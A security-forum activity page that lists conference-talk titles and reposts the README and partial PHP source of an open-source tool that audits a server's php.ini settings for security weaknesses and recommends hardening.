Jump to content

Nytro

Administrators
  • Posts

    18772
  • Joined

  • Last visited

  • Days Won

    729

Everything posted by Nytro

  1. [h=1]The Machines That Betrayed Their Masters by Glenn Wilkinson[/h]
  2. [h=1]UI Redressing Attacks on Android Devices Revisited by Marcus Niemietz[/h]
  3. [h=1]Owning a Building: Exploiting Access Control and Facility Management Systems by Billy Rios[/h]
  4. Smecherie.
  5. [h=1]PHP Secure Configuration Checker[/h] Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. [h=2]Idea[/h] one single file for easy distribution simple tests for each security related ini entry a few other tests - not too complicated though compatible with PHP >= 5.4, or if possible >= 5.0 NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ... -> It is supposed to be obvious on first glance - even for novices - how this tool works and what it does! NO (or very few) dependencies [h=2]Usage[/h] CLI: Simply call php phpconfigcheck.php. That's it. WEB: Copy this script to any directory accessible by your webserver, e.g. your document root. See also 'Safeguards' below. The output in non-CLI mode is HTML by default. This behaviour can be changed by setting the environment variable PCC_OUTPUT_TYPE=text. Some test cases are hidden by default, specifically skipped, ok and unknown/untested. To show all results, use phpconfigcheck.php?showall=1. [h=2]Safeguards[/h] Most of the time it is a good idea to keep security related issues such as your PHP configuration to yourself. The following safeguards have been implemented: mtime check: This script stops working in non-CLI mode after two days. Re-arming the check can be done by touch phpconfigcheck.php or by copying the script to your server again (e.g. via SCP). This check can be disabled by setting the environment variable: PCC_DISABLE_MTIME=1, e.g. SetEnv PCC_DISABLE_MTIME 1 in apache's .htaccess. source IP check: By default only localhost (127.0.0.1 and ::1) can access this script. Other hosts may be added by setting PCC_ALLOW_IP to a your IP address or a wildcard pattern, e.g. SetEnv PCC_ALLOW_IP 10.0.0.* in .htaccess. You may also choose to access your webserver via SSH Port forwarding, e.g. ssh -D or ssh -L. [h=2]Troubleshooting[/h] disabled functions: This scripts needs a few functions to work properly, such as ini_get() and stat(). If one of these functions is blacklisted (or not whitelisted) then execution will fail or produce invalid output. In these cases it is possible to temporarily put Suhosin in simulation mode and omit disable_functions. To be on the safe side, relaxed security configuration can be done with .htaccess in a separate directory. Also, this script may be called from command line with your webserver's configuration, e.g. php -n -c /etc/.../php.ini phpconfigcheck.php. CLI: Older PHP versions don't known about SAPI name 'cli' and use CGI style output even on cli. Workaround: PCC_OUTPUT_TYPE=text /opt/php/php-5.1.6/bin/php phpconfigcheck.php [h=2]WARNING[/h] This tool will only support you setting up a secure PHP environment. Nothing else. Your setup, software or any related configuration may still be vulnerable, even if this tool's output suggests otherwise. [h=2]Notes[/h] For copyright and license information, see phpconfigcheck.php and the LICENSE file. Issues, comments, enhancements? Please use the Github issue tracker: https://github.com/sektioneins/pcc/issues <?php /* [+] PHP Secure Configuration Checker - (c) 2014 - SektionEins GmbH -- Ben Fuhrmannek <ben.fuhrmannek@sektioneins.de> [+] Description: Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. [+] Idea: * one single file for easy distribution * simple tests for each security related ini entry * a few other tests - not too complicated though * compatible with PHP >= 5.4, or if possible >= 5.0 * NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ... -> It is supposed to be obvious on first glance - even for novices - how this tool works and what it does! * NO (or very few) dependencies [+] WARNING: This tool will only support you setting up a secure PHP environment. Nothing else. Your setup, software or any related configuration may still be vulnerable, even if this tool's output suggests otherwise. [+] Update: Please check https://github.com/sektioneins/pcc [+] License: This tool is licensed under the New BSD License. See LICENSE file for fulltext version of the license. [+] Copyright Notes: Some text fragments have been copied from the printed PHP Web Security Poster with permission. - (C) 2009 SektionEins GmbH - Concept: Stefan Esser, fukami, Ben Fuhrmannek */ $pcc_name = "PHP Configuration Security Checker"; $pcc_version = "0.1-dev"; $pcc_copy = "(c) 2014 SektionEins GmbH / Ben Fuhrmannek"; $pcc_date = "2014-08-15"; // release date for update check $pcc_url = "https://github.com/sektioneins/pcc"; // download URL /*****************************************************************************/ // test result codes define("TEST_CRITICAL", "critical"); // critical problem found. define("TEST_HIGH", "high"); // high problem found. define("TEST_MEDIUM", "medium"); // medium. this may be a problem. define("TEST_LOW", "low"); // low. boring problem found. define("TEST_MAYBE", "maybe"); // potential security risk. please check manually. define("TEST_COMMENT", "comment"); // odd, but still worth mentioning. define("TEST_OK", "ok"); // everything is fine. move along. define("TEST_SKIPPED", "skipped"); // probably not applicable here. define("TEST_UNKNOWN", "unknown"); // something is unknown. // globals $cfg = array( 'output_type' => 'text', 'showall' => 0, 'result_codes_default' => array(TEST_CRITICAL, TEST_HIGH, TEST_MEDIUM, TEST_LOW, TEST_MAYBE, TEST_COMMENT), 'need_update' => 0); $all_result_codes = array(TEST_CRITICAL, TEST_HIGH, TEST_MEDIUM, TEST_LOW, TEST_MAYBE, TEST_COMMENT, TEST_OK, TEST_SKIPPED, TEST_UNKNOWN); $trbs = array(); // test result by severity, e.g. $trbs[TEST_OK][...] foreach ($all_result_codes as $v) { $trbs[$v] = array(); } $cfg['s1_logo'] = "data:image/gif;base64,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"; $cfg['s1_logo_aa'] = " `.-:///:-.` /+-` `/shmmmmmmmmmm:.dmmds: `/ymmmdyo/::-::// `:sdmmh: /hmmdo- `+dmmy. `smmd/` .ymmh` `hmmy. /-` ymmy` -oyy -mmm- .dmm: --- $pcc_name +mmh ymmo --- Version $pcc_version ommh ymms --- $pcc_copy :mmd. `dmm/ ---- https://sektioneins.de/ `hmms +mmd` -dmmo +mmd: -dmmy. .smmd: `smmms- -sdmmy. -sdmmds+:.`` `.-/sdmmms- `/sdmmmmmdddmmmmmds/` .:/ossssso+:. "; /*****************************************************************************/ // are we running as cli? if (php_sapi_name() == "cli") { $cfg['output_type'] = "text"; $cfg['is_cli'] = true; } else { $cfg['output_type'] = "html"; $cfg['is_cli'] = false; // mtime check $cfg['PCC_DISABLE_MTIME'] = getenv("PCC_DISABLE_MTIME"); $cfg['SCRIPT_FILENAME'] = getenv("SCRIPT_FILENAME"); if (!$cfg['PCC_DISABLE_MTIME'] && $cfg['SCRIPT_FILENAME'] !== FALSE) { if (filemtime($cfg['SCRIPT_FILENAME']) + 2*24*3600 < time()) { die("mtime check failed. - For security reasons this script was disabled automatically after a while.\n Please 'touch' me, or set the environment variable 'PCC_DISABLE_MTIME=1' (e.g. 'SetEnv PCC_DISABLE_MTIME 1' for apache/.htaccess)"); } } // IP check $cfg['REMOTE_ADDR'] = getenv("REMOTE_ADDR"); $cfg['PCC_ALLOW_IP'] = getenv("PCC_ALLOW_IP"); if ($cfg['REMOTE_ADDR'] !== FALSE) { if (!in_array($cfg['REMOTE_ADDR'], array("127.0.0.1", "::1"), TRUE) && !($cfg['PCC_ALLOW_IP'] !== FALSE && fnmatch($cfg['PCC_ALLOW_IP'], $cfg['REMOTE_ADDR']))) { die("Access denied. - Your IP is not cleared. Please set PCC_ALLOW_IP to a your IP address or a wildcard pattern, e.g. 'SetEnv PCC_ALLOW_IP 10.0.0.*'"); } } // output type if (getenv('PCC_OUTPUT_TYPE') === 'text') { $cfg['output_type'] = 'text'; header("Content-Type: text/plain; charset=utf-8"); } // do not hide unknown/skipped/ok tests if (isset($_GET['showall']) && $_GET['showall'] === "1") { $cfg['showall'] = 1; } } // detect OS $cfg['is_win'] = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; /*****************************************************************************/ // functions function tdesc($name, $desc=NULL) { return array( "name" => $name, "desc" => $desc, "result" => NULL, "reason" => NULL, "recommendation" => NULL ); } function tres($meta, $result, $reason=NULL, $recommendation=NULL) { global $trbs; $res = array_merge($meta, array("result" => $result, "reason" => $reason, "recommendation" => $recommendation)); $trbs[$result][] = $res; } function ini_atol($val) { $ret = intval($val); $val = strtolower($val); switch (substr($val, -1)) { case 'g': $ret *= 1024; case 'm': $ret *= 1024; case 'k': $ret *= 1024; } return $ret; } function ini_list($val) { if ($val == "") { return NULL; } $ret = split('[, ]+', $val); if (count($ret) == 1 && $ret[0] == "") { return NULL; } return $ret; } function is_writable_or_chmodable($fn) { $stat = stat($fn); if (!$stat) { return false; } $myuid = posix_getuid(); $mygids = posix_getgroups(); if ($myuid == 0 || $myuid == $stat['uid'] || in_array($stat['gid'], $mygids) && $stat['mode'] & 0020 || $stat['mode'] & 0002) { return true; } return false; } /*****************************************************************************/ $helptext = array( "display_errors" => "Error messages can divulge information about the inner workings of an application and may include private information such as Session-ID, personal data, database structures, source code exerpts. It is recommended to log errors, but not to display them on live systems.", 'log_errors' => "While it may be a good idea to avoid logging altogether from a privacy point of view, monitoring the error log of an application can lead to detecting attacks, programming and configuration errors.", 'expose_php' => "Knowing the exact PHP version - sometimes including patchlevel and operating system - is a good start for automated attack tools. Best not to share this information.", 'max_execution_time' => "In order to prevent denial-of-service attacks where an attacker tries to keep your server's CPU busy, this value should be set to the lowest possible value, e.g. 30 (seconds).", 'max_input_time' => "It may be useful to limit the time a script is allowed to parse input. This should be decided on a per application basis.", 'max_input_nesting_level' => "Deep input nesting is only required in rare cases and may trigger unexpected ressource limits.", 'memory_limit' => "A high memory limit may easy lead lead to ressource exhaustion and thus make your application vulnerable to denial-of-service attacks. This value should be set approximately 20% above empirically gathered maximum memory requirement.", 'post_max_size' => "This value should match the size actually required. File uploads have to be covered by this setting as well.", 'upload_max_filesize' => "This value should match the file size actually required.", 'allow_url_fopen' => "Deactivate, if possible. Allowing URLs in fopen() can be a suprising side-effect for unexperienced developers. Even if deactivated, it is still possible to receive content from URLs, e.g. with curl.", 'allow_url_include' => "This flag should remain deactivated for security reasons.", 'magic_quotes' => "This option should be deactivated. Instead, user input should be escaped properly and handled in a secure way when building database queries. The use of magic quotes or similar behaviour is highly discouraged. Current PHP versions do not support this feature anymore.", 'enable_dl' => "Deactivate this option to prevent arbitrary code to be loaded during runtime (see dl()).", 'disable_functions' => "Potentially dangerous and unused functions should be deactivated, e.g. system().", 'disable_classes' => "Potentially dangerous and unused classes should be deactivated.", 'request_order' => "It is recommended to use GP to register GET and POST with REQUEST.", 'variables_order' => "Changing this setting is usually not necessary; however, the ENV variables are rarely used.", 'auto_globals_jit' => "Unless access to these variables is done through variable variables this option can remain activated.", 'register_globals' => "This relic from the past is not available in current PHP versions. If it is there anyway, keep it deactivated! Please.", 'file_uploads' => "If an application does not require HTTP file uploads, this setting should be deactivated.", 'filter.default' => "This should only be set if the application is specifically designed to handle filtered values. Usually it is considered bad practice to filter all user input in one place. Instead, each user input should be validated and then escaped/encoded according to its context.", 'open_basedir' => "Usually it is a good idea to restrict file system access to directories related to the application, e.g. the document root.", 'session.save_path' => "This path should be set to a directory unique to your application, but outside the document root, e.g. /opt/php_sessions/application_1. If this application is the only application on your server, or a custom storage mechanism for sessions has been implemented, or you don't need sessions at all, then the default should be fine.", 'session.cookie_httponly' => "This option controls if cookies are tagged with httpOnly which makes them accessible by HTTP only and not by the JavaScript. httpOnly cookies are supported by all major browser vendors and therefore can be instrumental in minimising the danger of session hijacking. It should either be activated here or in your application with session_set_cookie_params().", 'session.cookie_secure' => "This options controls if cookies are tagged as secure and should therefore be sent over SSL encrypted connections only. It should either be activated here or in your application with session_set_cookie_params().", 'session.cookie_lifetime' => "Not limiting the cookie lifetime increases the chance for an attacker to be able to steal the session cookie. Depending on your application, this should be set to a reasonable value here or with session_set_cookie_params().", 'session.referer_check' => "PHP can invalidate a session ID if the submitted HTTP Referer does not contain a configured substring. The Referer can be set by a custom client/browser or plugins (e.g. Flash, Java). However it may prevent some cases of CSRF attacks, where the attacker can not control the client's Referer.", 'session.use_strict_mode' => "If activated, PHP will regenerate unknown session IDs. This effectively counteracts session fixation attacks.", 'session.use_cookies' => "If activated, PHP will store the session ID in a cookie on the client side. This is recommended.", 'session.use_only_cookies' => "PHP will send the session ID only via cookie to the client, not e.g. in the URL. Please activate.", 'always_populate_raw_post_data' => "In a shared hosting environment it should not be the default to let the unexperienced user parse raw POST data themselves. Otherwise, this options should only be used, if accessing the raw POST data is actually required.", 'arg_separator' => "The usual argument separator for parsing a query string is '&'. Standard libraries handling URLs will possibly not be compatible with custom separators, which may lead to unexpected behaviour. Also, additional parsers - such as a WAF or logfile analyzers - have to be configured accordingly.", 'assert.active' => "assert() evaluates code just like eval(). Unless it is actually required in a live environment, which is almost certainly not the case, this feature should be deactivated.", 'auto_append_file' => "PHP is automatically executing an extra script for each request. An attacker may have planted it there. If this is unexpected, deactivate.", 'cli.pager' => "PHP executes an extra script to process CLI output. An attacker may have planted it there. If this is unexpected, deactivate.", 'cli.prompt' => "An overlong CLI prompt may indicate incorrect configuration. Please check manually.", 'curl.cainfo' => "Incorrect configuration of this option may prevent cURL from validating a certificate.", 'docref_*' => "This setting may reveal internal ressources, e.g. internal server names. Setting docref_root or docref_ext implies HTML output of error messages, which is bad practice for live environments and may reveal useful information to an attacker as well.", /* Suhosin */ 'suhosin.simulation' => "During initial deployment of Suhosin, this flag should be switched on to ensure that the application continues to work under the new configuration. After carefully evaluating Suhosin's log messages, you may consider switching the simulation mode off.", 'suhosin.log.syslog' => "Logging to syslog should be used here.", 'suhosin.log.phpscript' => "This should only be used in exceptional cases for classes of errors that could occur during script execution.", 'suhosin.executor.max_depth' => "Defines the maximum stack depth that is per- mitted during the execution of PHP scripts. If the stack depth is exceeded, the script will be terminated. This setting should be set to a value that does not interfere with the application, but at the same time does not allow to crash the PHP interpreter, e.g. 500.", 'suhosin.executor.include.max_traversal' => "Defines how often '../' may occur in filenames for include-statements before it is considered to be an attack. A value of zero deactivates the feature. Most PHP-applications do not require a value greater than 5.", 'suhosin.*.cryptkey' => "This protection is less effective with a weak key. Please generate a stronger passphrase, e.g. with 'apg -m 32'.", 'suhosin.cookie.encrypt=on' => "Be aware, that even encrypted cookie values are still user input and cannot be trusted without proper input handling.", 'suhosin.cookie.encrypt=off' => "Suhosin can transparently encrypt cookies. This feature makes attacks based on tampering with a cookie value much harder. If at all possible, this feature should always be activated.", 'suhosin.*.disallow_nul' => "Unless binary data is handled unencoded - which would be very obscure - this feature wants to remain enabled.", 'suhosin.*.max_value_length=off' => "By disabling this protection PHP will be exposed to input variables of arbitrary length. It is highly recommended to set this value to the maximum length one variable is supposed to have. With file uploads in mind, request and post limits can be set to a high value.", 'suhosin.*.max_value_length=default' => "The default value set as maximum length for each variable may be too small for some applications.", 'suhosin.*.disallow_ws' => "Unless your application needs variable names to start with whitespace, please consider turning this option on.", 'suhosin.*.max_name_length=off' => "The variable name length should be limited. Please set an appropriate value, e.g. 64.", 'suhosin.log.script.name' => "An attacker may try to inject code into the logging script. Better change file permissions to read-only access.", 'suhosin.log.script.name/chmod' => "The logging script is not set writable, but the current user has the right to change the access permission. Please change the file's owner." ); // php.ini checks foreach (ini_get_all() as $k => $v) { $v = $v["local_value"]; // for compatibility with PHP <5.3.0 ini_get_all() is not called with the second 'detail' parameter. $meta = tdesc("php.ini / $k"); $result = NULL; $reason = NULL; $recommendation = NULL; if (isset($helptext[$k])) { $recommendation = $helptext[$k]; } switch ($k) { case 'display_errors': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "display_errors is on."); } break; case 'display_startup_errors': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "display_startup_errors is on."); $recommendation = $helptext['display_errors']; } break; case 'log_errors': if ($v != "1") { list($result, $reason) = array(TEST_LOW, "You are not logging errors."); } break; case 'expose_php': if ($v == "1") { list($result, $reason) = array(TEST_LOW, "PHP is exposed by HTTP headers."); } break; case 'max_execution_time': if (intval($v) == 0) { list($result, $reason) = array(TEST_MEDIUM, "Execution time is not limited."); } elseif (intval($v) >= 300) { list($result, $reason) = array(TEST_LOW, "Execution time limit is rather high."); } break; case 'max_input_time': if ($v == "-1") { list($result, $reason) = array(TEST_MAYBE, "Input parsing time not limited."); } break; case 'max_input_nesting_level': if (intval($v) > 128) { list($result, $reason) = array(TEST_MEDIUM, "Input nesting level extremely high."); } elseif (intval($v) > 64) { list($result, $reason) = array(TEST_MAYBE, "Input nesting level higher than usual."); } break; case 'memory_limit': if (ini_atol($v) >= 128*1024*1024) { // default value list($result, $reason) = array(TEST_MAYBE, "Memory limit is 128M or more."); } break; case 'post_max_size': if ($v === "8M") { list($result, $reason) = array(TEST_COMMENT, "default value."); } elseif (ini_atol($v) >= ini_atol("2G")) { list($result, $reason) = array(TEST_MAYBE, "value is rather high."); } break; case 'upload_max_filesize': if ($v === "2M") { list($result, $reason) = array(TEST_COMMENT, "default value."); } elseif (ini_atol($v) >= ini_atol("2G")) { list($result, $reason) = array(TEST_MAYBE, "value is rather high."); } break; case 'allow_url_fopen': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "fopen() is allowed to open URLs."); } break; case 'allow_url_include': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "include/require() can include URLs."); } break; case 'magic_quotes_gpc': case 'magic_quotes_runtime': case 'magic_quotes_sybase': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "magic quotes activated."); $recommendation = $helptext['magic_quotes']; } break; case 'enable_dl': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "PHP can load extensions during runtime."); } break; case 'disable_functions': $v = ini_list($v); if (!$v) { list($result, $reason) = array(TEST_MEDIUM, "no functions disabled."); } break; case 'disable_classes': $v = ini_list($v); if (!$v) { list($result, $reason) = array(TEST_MEDIUM, "no classes disabled."); } break; case 'request_order': $v = strtoupper($v); if ($v === "GP") {break;} // ok if (strstr($v, 'C') !== FALSE) { list($result, $reason) = array(TEST_MAYBE, "cookie values in $_REQUEST."); } if (strstr(str_replace('C', $v, ''), 'PG') !== FALSE) { list($result, $reason) = array(TEST_LOW, "GET overrides POST in $_REQUEST."); } break; case 'variables_order': if ($v === "GPCS") { break; } if ($v !== "EGPCS") { list($result, $reason) = array(TEST_COMMENT, "custom variables_order."); } else { $result = TEST_OK; // result set includes default helptext } break; case 'auto_globals_jit': $result = TEST_OK; break; case 'register_globals': if ($v !== "" && $v !== "0") { list($result, $reason) = array(TEST_CRITICAL, "register_globals is on."); } break; case 'file_uploads': if ($v == "1") { list($result, $reason) = array(TEST_MAYBE, "file uploads are allowed."); } break; case 'filter.default': if ($v !== "unsafe_raw") { list($result, $reason) = array(TEST_MAYBE, "default input filter set."); } break; case 'open_basedir': if ($v == "") { list($result, $reason) = array(TEST_LOW, "open_basedir not set."); } break; case 'session.save_path': if ($v == "") { list($result, $reason) = array(TEST_MAYBE, "session save path not set."); } break; case 'session.cookie_httponly': if ($v != "1") { list($result, $reason) = array(TEST_MAYBE, "no implicit httpOnly-flag for session cookie."); } break; case 'session.cookie_secure': if ($v != "1") { list($result, $reason) = array(TEST_MAYBE, "no implicit secure-flag for session cookie."); } break; case 'session.cookie_lifetime': if ($v == "0") { list($result, $reason) = array(TEST_MAYBE, "no implicit lifetime for session cookie."); } break; case 'session.referer_check': if ($v === "") { list($result, $reason) = array(TEST_COMMENT, "referer check not activated."); } break; case 'session.use_strict_mode': if ($v != "1") { list($result, $reason) = array(TEST_MEDIUM, "strict mode not activated."); } break; case 'session.use_cookies': if ($v != "1") { list($result, $reason) = array(TEST_HIGH, "Session ID not stored in cookie."); } break; case 'session.use_only_cookies': if ($v != "1") { list($result, $reason) = array(TEST_HIGH, "Session ID not limited to cookie."); } break; case 'always_populate_raw_post_data': if ($v != "0") { list($result, $reason) = array(TEST_COMMENT, "HTTP_RAW_POST_DATA is available."); } break; case 'arg_separator.input': case 'arg_separator.output': if ($v !== "&") { list($result, $reason) = array(TEST_MAYBE, "unusual arg separator."); $recommendation = $helptext['arg_separator']; } break; case 'assert.active': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "assert is active."); } break; case 'auto_append_file': case 'auto_prepend_file': if ($v !== NULL && $v !== "") { list($result, $reason) = array(TEST_MAYBE, "$k is set."); $recommendation = $helptext['auto_append_file']; } break; case 'cli.pager': if ($v !== NULL && $v !== "") { list($result, $reason) = array(TEST_MAYBE, "CLI pager set."); } break; case 'cli.prompt': if ($v !== NULL && strlen($v) > 32) { list($result, $reason) = array(TEST_MAYBE, "CLI prompt is rather long (>32)."); } break; case 'curl.cainfo': if ($v !== "") { if (substr($v, 0, 1) !== DIRECTORY_SEPARATOR || $is_win && substr($v, 1, 2) !== ":" . DIRECTORY_SEPARATOR) { list($result, $reason) = array(TEST_LOW, "CURLOPT_CAINFO must be an absolute path."); } elseif (!is_readable($v)) { list($result, $reason) = array(TEST_LOW, "CURLOPT_CAINFO is set but not readable."); } } break; case 'docref_root': case 'docref_ext': if ($v !== NULL && $v !== "") { list($result, $reason) = array(TEST_LOW, "docref is set."); $recommendation = $helptext['docref_*']; } break; /* ===== Suhosin ===== */ case 'suhosin.simulation': if ($v == "1") { 